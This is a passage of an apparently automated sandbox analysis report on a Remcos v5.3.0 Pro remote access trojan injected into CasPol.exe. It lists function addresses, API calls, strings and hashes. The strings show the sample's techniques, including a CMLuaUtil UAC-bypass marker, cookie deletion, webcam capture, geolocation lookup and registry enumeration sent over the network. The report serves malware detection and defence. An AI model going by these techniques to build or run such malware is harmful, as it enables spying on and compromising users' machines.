                                                                                                                                                                  • Instruction Fuzzy Hash: 90412A31A009106BEF24AABA8CD5A7F3B64DF45375F14031BFC1896293D67C8C4996AA
                                                                                                                                                                  Function 00412C88 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegOpenKeyExW.ADVAPI32 ref: 00412CC1
                                                                                                                                                                    • Part of subcall function 004129AA: RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00412A1D
                                                                                                                                                                    • Part of subcall function 004129AA: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00412A4C
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  • RegCloseKey.ADVAPI32(TUFTUF), ref: 00412E31
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseEnumInfoOpenQuerysend
                                                                                                                                                                  • String ID: TUFTUF$>G$DG$DG
                                                                                                                                                                  • API String ID: 3114080316-344394840
                                                                                                                                                                  • Opcode ID: bf697a078cb867d97e45357ac50b9e71af34c85f47cf55f872e92a0cd902ea26
                                                                                                                                                                  • Instruction ID: 92049c6ae7fba3f13a57cd60a3827c89810429dfa6cf24b756c0ab1f01d338b1
                                                                                                                                                                  • Opcode Fuzzy Hash: bf697a078cb867d97e45357ac50b9e71af34c85f47cf55f872e92a0cd902ea26
                                                                                                                                                                  • Instruction Fuzzy Hash: 0141A2316042009BC224F635D9A2AEF7394AFD0708F50843FF94A671E2EF7C5D4986AE
                                                                                                                                                                  Function 00437A80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 00437AAB
                                                                                                                                                                  • ___except_validate_context_record.LIBVCRUNTIME ref: 00437AB3
                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 00437B41
                                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 00437B6C
                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 00437BC1
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                                                                  • String ID: csm
                                                                                                                                                                  • API String ID: 1170836740-1018135373
                                                                                                                                                                  • Opcode ID: 47e26074ed3df67517ea761fc7c27dd00097028ab85dfbf9f1f14e41715e449f
                                                                                                                                                                  • Instruction ID: 9404c61c081bc4e6da2099be8a52027e1297fde76841380def533d3eaa533744
                                                                                                                                                                  • Opcode Fuzzy Hash: 47e26074ed3df67517ea761fc7c27dd00097028ab85dfbf9f1f14e41715e449f
                                                                                                                                                                  • Instruction Fuzzy Hash: CD410970A04209DBCF20EF19C844A9FBBB5AF0932CF14915BE8556B392D739EE05CB95
                                                                                                                                                                  Function 0040B6EA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 85COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00412513: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 00412537
                                                                                                                                                                    • Part of subcall function 00412513: RegQueryValueExA.ADVAPI32 ref: 00412554
                                                                                                                                                                    • Part of subcall function 00412513: RegCloseKey.ADVAPI32(?), ref: 0041255F
                                                                                                                                                                  • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040B76C
                                                                                                                                                                  • PathFileExistsA.SHLWAPI(?), ref: 0040B779
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                                                                                                                                  • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                                                                                                                                                  • API String ID: 1133728706-4073444585
                                                                                                                                                                  • Opcode ID: b2ac8dee5e5069ae19a2430ed362db1d01aada1bcbcc6095e396115e7a02ca7f
                                                                                                                                                                  • Instruction ID: d844a8c095f6bc09782a4352348c5dfd082864f820bca84d12e352ec49be167e
                                                                                                                                                                  • Opcode Fuzzy Hash: b2ac8dee5e5069ae19a2430ed362db1d01aada1bcbcc6095e396115e7a02ca7f
                                                                                                                                                                  • Instruction Fuzzy Hash: 5F216D71A00109A6CB04F7B2DCA69EE7764AE95318F40013FE902771D2EB7C9A49C6DE
                                                                                                                                                                  Function 00455903 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: a689da314200d05c27aed096e5791327431372d8d81dee2cdc260883e4ab0459
                                                                                                                                                                  • Instruction ID: 969edc756a0dffe936139f0dc9bce31aed38431af2e56c5058bd22e5c2f4fad6
                                                                                                                                                                  • Opcode Fuzzy Hash: a689da314200d05c27aed096e5791327431372d8d81dee2cdc260883e4ab0459
                                                                                                                                                                  • Instruction Fuzzy Hash: 991124B1508654FBDB202F769C4493B3B6CEF82376B10016FFC15D7242DA7C8805C2AA
                                                                                                                                                                  Function 0040FBEF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 0040FBFC
                                                                                                                                                                  • int.LIBCPMT ref: 0040FC0F
                                                                                                                                                                    • Part of subcall function 0040CEE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040CEF1
                                                                                                                                                                    • Part of subcall function 0040CEE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0040CF0B
                                                                                                                                                                  • std::_Facet_Register.LIBCPMT ref: 0040FC4B
                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 0040FC71
                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 0040FC8D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                                                                                                  • String ID: P[G
                                                                                                                                                                  • API String ID: 2536120697-571123470
                                                                                                                                                                  • Opcode ID: 31ce6fe8dfd7390de1d64992225249e105d572f1378bab70f4a441faf385e78a
                                                                                                                                                                  • Instruction ID: a46b155a0a589d4ea75c4983af6a631921b9d9812a15003568faaf62f6f01cf1
                                                                                                                                                                  • Opcode Fuzzy Hash: 31ce6fe8dfd7390de1d64992225249e105d572f1378bab70f4a441faf385e78a
                                                                                                                                                                  • Instruction Fuzzy Hash: 7611F331904518A7CB14FBA5D8469DEB7689E44358B20007BF905B72C1EB7CAE45C79D
                                                                                                                                                                  Function 0041A51B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68networkfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041A53E
                                                                                                                                                                  • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041A554
                                                                                                                                                                  • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041A56D
                                                                                                                                                                  • InternetCloseHandle.WININET(00000000), ref: 0041A5B3
                                                                                                                                                                  • InternetCloseHandle.WININET(00000000), ref: 0041A5B6
                                                                                                                                                                  Strings
                                                                                                                                                                  • http://geoplugin.net/json.gp, xrefs: 0041A54E
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Internet$CloseHandleOpen$FileRead
                                                                                                                                                                  • String ID: http://geoplugin.net/json.gp
                                                                                                                                                                  • API String ID: 3121278467-91888290
                                                                                                                                                                  • Opcode ID: 8a2722a77a721669593b0367f0fdf2e0f92c97aa65a2f702c1d2453de3b58543
                                                                                                                                                                  • Instruction ID: 402fbdb1aff19a1981f8347c65821a4f206ec005c70a85ea4635686413b1fe25
                                                                                                                                                                  • Opcode Fuzzy Hash: 8a2722a77a721669593b0367f0fdf2e0f92c97aa65a2f702c1d2453de3b58543
                                                                                                                                                                  • Instruction Fuzzy Hash: 2711C87110A3126BD214AA169C45DBF7FDCEF46365F00053EF905D2191DB689C48C6B6
                                                                                                                                                                  Function 0044FCDB Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0044FA22: _free.LIBCMT ref: 0044FA4B
                                                                                                                                                                  • _free.LIBCMT ref: 0044FD29
                                                                                                                                                                    • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                                                                                                    • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                                                                                                                                  • _free.LIBCMT ref: 0044FD34
                                                                                                                                                                  • _free.LIBCMT ref: 0044FD3F
                                                                                                                                                                  • _free.LIBCMT ref: 0044FD93
                                                                                                                                                                  • _free.LIBCMT ref: 0044FD9E
                                                                                                                                                                  • _free.LIBCMT ref: 0044FDA9
                                                                                                                                                                  • _free.LIBCMT ref: 0044FDB4
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                  • Opcode ID: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                                                                                                                                  • Instruction ID: b6f47af98b99390d2ca34363280ce03bc5e4d1be0f6c4f29549f69d6ae0d3a9a
                                                                                                                                                                  • Opcode Fuzzy Hash: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                                                                                                                                  • Instruction Fuzzy Hash: 5F119031711B04B6F520FBB2CC07FCBB7DC9F42308F814C2EB29E76152E628A9184645
                                                                                                                                                                  Function 0041A463 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                                                                                                                                    • Part of subcall function 00412513: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 00412537
                                                                                                                                                                    • Part of subcall function 00412513: RegQueryValueExA.ADVAPI32 ref: 00412554
                                                                                                                                                                    • Part of subcall function 00412513: RegCloseKey.ADVAPI32(?), ref: 0041255F
                                                                                                                                                                  • StrToIntA.SHLWAPI(00000000), ref: 0041A4D9
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseCurrentOpenProcessQueryValue
                                                                                                                                                                  • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                                                                                                                  • API String ID: 1866151309-2070987746
                                                                                                                                                                  • Opcode ID: 55ad628b9ffecf6fc05846b0b449cc9ef91119f19e10ab231a0cee3385cadad7
                                                                                                                                                                  • Instruction ID: 19977b185b3bcff34fa520d2ecc4782d624f476aadfe6515b429a208ce335d2f
                                                                                                                                                                  • Opcode Fuzzy Hash: 55ad628b9ffecf6fc05846b0b449cc9ef91119f19e10ab231a0cee3385cadad7
                                                                                                                                                                  • Instruction Fuzzy Hash: EF11E9A060020166C704B365DCABDBF765ADB90304F50443FB906E31D2EB6C9E9683EE
                                                                                                                                                                  Function 00406815 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CoInitializeEx.OLE32(00000000,00000002), ref: 00406835
                                                                                                                                                                    • Part of subcall function 00406764: _wcslen.LIBCMT ref: 00406788
                                                                                                                                                                    • Part of subcall function 00406764: CoGetObject.OLE32(?,00000024,004659B0,00000000), ref: 004067E9
                                                                                                                                                                  • CoUninitialize.OLE32 ref: 0040688E
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: InitializeObjectUninitialize_wcslen
                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                                                                                                                                                  • API String ID: 3851391207-2637227304
                                                                                                                                                                  • Opcode ID: cc256bbe825efe690782e207798e63cf697be23d062579cdcaa40baaa38e88a5
                                                                                                                                                                  • Instruction ID: 622c6236034ee416db36617ed9a374104512909f75adacabffe0517dc70a223e
                                                                                                                                                                  • Opcode Fuzzy Hash: cc256bbe825efe690782e207798e63cf697be23d062579cdcaa40baaa38e88a5
                                                                                                                                                                  • Instruction Fuzzy Hash: A501C0722013106FE2287B11DC0EF3B2658DB4176AF22413FF946A71C1EAA9AC104669
                                                                                                                                                                  Function 0040FED2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 0040FEDF
                                                                                                                                                                  • int.LIBCPMT ref: 0040FEF2
                                                                                                                                                                    • Part of subcall function 0040CEE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040CEF1
                                                                                                                                                                    • Part of subcall function 0040CEE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0040CF0B
                                                                                                                                                                  • std::_Facet_Register.LIBCPMT ref: 0040FF2E
                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 0040FF54
                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 0040FF70
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                                                                                                  • String ID: H]G
                                                                                                                                                                  • API String ID: 2536120697-1717957184
                                                                                                                                                                  • Opcode ID: 3e4a8574ab9db7722bfa12a95caa071d2d4e3d0815d43ad0032f2c9a3dec5087
                                                                                                                                                                  • Instruction ID: c39742161ac3258eace465d30f2780732a1ff9819e97f4bd037edafe9ec39b9f
                                                                                                                                                                  • Opcode Fuzzy Hash: 3e4a8574ab9db7722bfa12a95caa071d2d4e3d0815d43ad0032f2c9a3dec5087
                                                                                                                                                                  • Instruction Fuzzy Hash: 9011BF31900419ABCB24FBA5C8468DDB7799F95318B20007FF505B72C1EB78AF09C799
                                                                                                                                                                  Function 0040B2A8 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040B2E4
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040B2EE
                                                                                                                                                                  Strings
                                                                                                                                                                  • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040B2AF
                                                                                                                                                                  • [Chrome Cookies found, cleared!], xrefs: 0040B314
                                                                                                                                                                  • UserProfile, xrefs: 0040B2B4
                                                                                                                                                                  • [Chrome Cookies not found], xrefs: 0040B308
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: DeleteErrorFileLast
                                                                                                                                                                  • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                                                                                                                                  • API String ID: 2018770650-304995407
                                                                                                                                                                  • Opcode ID: 89984b89c506dd7c72a5c030867ac5c43e97c4af1a23029286eaf0e318e25243
                                                                                                                                                                  • Instruction ID: 647c9f6895dd19beb09db90be4e639f81332b1b521455d1adc7a9c6a9ee315b4
                                                                                                                                                                  • Opcode Fuzzy Hash: 89984b89c506dd7c72a5c030867ac5c43e97c4af1a23029286eaf0e318e25243
                                                                                                                                                                  • Instruction Fuzzy Hash: 3301A23164410557CB047BB5DD6B8AF3624ED50708F60013FF802B32E2FE3A9A0586CE
                                                                                                                                                                  Function 0041BEB0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47memoryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • AllocConsole.KERNEL32 ref: 0041BEB9
                                                                                                                                                                  • ShowWindow.USER32(00000000,00000000), ref: 0041BED2
                                                                                                                                                                  • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041BEF7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Console$AllocOutputShowWindow
                                                                                                                                                                  • String ID: Remcos v$5.3.0 Pro$CONOUT$
                                                                                                                                                                  • API String ID: 2425139147-2527699604
                                                                                                                                                                  • Opcode ID: 665a097808b038229c9a37eafed355beb7ea993dcaa7ec452e19bba1328996a1
                                                                                                                                                                  • Instruction ID: 482f1cdaf256b8236abc94a0b12de3dc55517b66349f776fa4240982defd8f75
                                                                                                                                                                  • Opcode Fuzzy Hash: 665a097808b038229c9a37eafed355beb7ea993dcaa7ec452e19bba1328996a1
                                                                                                                                                                  • Instruction Fuzzy Hash: 180171B19803047BD600FBF29D4BFDD37AC9B14705F5004277644E7093EABCA554866D
                                                                                                                                                                  Function 004064D0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: (CG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$BG
                                                                                                                                                                  • API String ID: 0-3292752334
                                                                                                                                                                  • Opcode ID: d1be4aec57154437973d558091bbe471e33116169eb7d1567a4c56866b781843
                                                                                                                                                                  • Instruction ID: a0817f974ad937f6cb5b9dd001e5131ae01746641b95ac10126ddf8aadfa6e31
                                                                                                                                                                  • Opcode Fuzzy Hash: d1be4aec57154437973d558091bbe471e33116169eb7d1567a4c56866b781843
                                                                                                                                                                  • Instruction Fuzzy Hash: 05F096B17022109BDB103774BC1967A3645A780356F01847BF94BFA6E5DB3C8851869C
                                                                                                                                                                  Function 004395FC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • __allrem.LIBCMT ref: 00439789
                                                                                                                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004397A5
                                                                                                                                                                  • __allrem.LIBCMT ref: 004397BC
                                                                                                                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004397DA
                                                                                                                                                                  • __allrem.LIBCMT ref: 004397F1
                                                                                                                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043980F
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1992179935-0
                                                                                                                                                                  • Opcode ID: f1fde5a02fd595428c5ea82786117b3ca59670a7c5a9c6947d2ee4ceb3542413
                                                                                                                                                                  • Instruction ID: 29148231e9435c1f59b8c02308e8e4f0c882d016d38a0f6ab7871d26eba04b65
                                                                                                                                                                  • Opcode Fuzzy Hash: f1fde5a02fd595428c5ea82786117b3ca59670a7c5a9c6947d2ee4ceb3542413
                                                                                                                                                                  • Instruction Fuzzy Hash: 7A811B726017069BE724AE79CC82B6F73A8AF49328F24512FF511D66C1E7B8DD018B58
                                                                                                                                                                  Function 00444B3D Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: __cftoe
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4189289331-0
                                                                                                                                                                  • Opcode ID: 6857f65105857f94604de097a755c155121e7cc81d429690707872ca309dbf5f
                                                                                                                                                                  • Instruction ID: 646e0444ce84107b4b6d0ff1d92098e8eb0dfa86acef9ec08128487301265115
                                                                                                                                                                  • Opcode Fuzzy Hash: 6857f65105857f94604de097a755c155121e7cc81d429690707872ca309dbf5f
                                                                                                                                                                  • Instruction Fuzzy Hash: A851FC72900105ABFB249F598C81F6F77A9EFC9324F15421FF815A6281DB3DDD01866D
                                                                                                                                                                  Function 00446159 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: __freea$__alloca_probe_16
                                                                                                                                                                  • String ID: a/p$am/pm
                                                                                                                                                                  • API String ID: 3509577899-3206640213
                                                                                                                                                                  • Opcode ID: ef0e82919ac3b8602debd5a299a6af15dd8aa9f36d72cee99fb0876ec95c8b0f
                                                                                                                                                                  • Instruction ID: cf09b504ad0dd49156c227457699755419044adef71e8be36bbdd309731302d4
                                                                                                                                                                  • Opcode Fuzzy Hash: ef0e82919ac3b8602debd5a299a6af15dd8aa9f36d72cee99fb0876ec95c8b0f
                                                                                                                                                                  • Instruction Fuzzy Hash: 5FD1F271A00206EAFB249F68D945ABBB7B0FF06300F26415BE905AB749D37D8D41CB5B
                                                                                                                                                                  Function 00403DE7 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 135sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • Sleep.KERNEL32(00000000), ref: 00403E8A
                                                                                                                                                                    • Part of subcall function 00403FCD: __EH_prolog.LIBCMT ref: 00403FD2
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: H_prologSleep
                                                                                                                                                                  • String ID: CloseCamera$FreeFrame$GetFrame$OpenCamera$P>G
                                                                                                                                                                  • API String ID: 3469354165-462540288
                                                                                                                                                                  • Opcode ID: 91ddb64871bfde904ede40e3b9f088facac6f709450aecbaf3ccac608dc9d27d
                                                                                                                                                                  • Instruction ID: 0dce3c58988623f436d5c5d916b021fc345e3c2d86dff9f08dc17926b78fee06
                                                                                                                                                                  • Opcode Fuzzy Hash: 91ddb64871bfde904ede40e3b9f088facac6f709450aecbaf3ccac608dc9d27d
                                                                                                                                                                  • Instruction Fuzzy Hash: A441A330A0420197CA14FB79C816AAD3A655B45704F00453FF809A73E2EF7C9A45C7CF
                                                                                                                                                                  Function 00419DEC Relevance: 9.1, APIs: 6, Instructions: 66serviceCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419DFC
                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E10
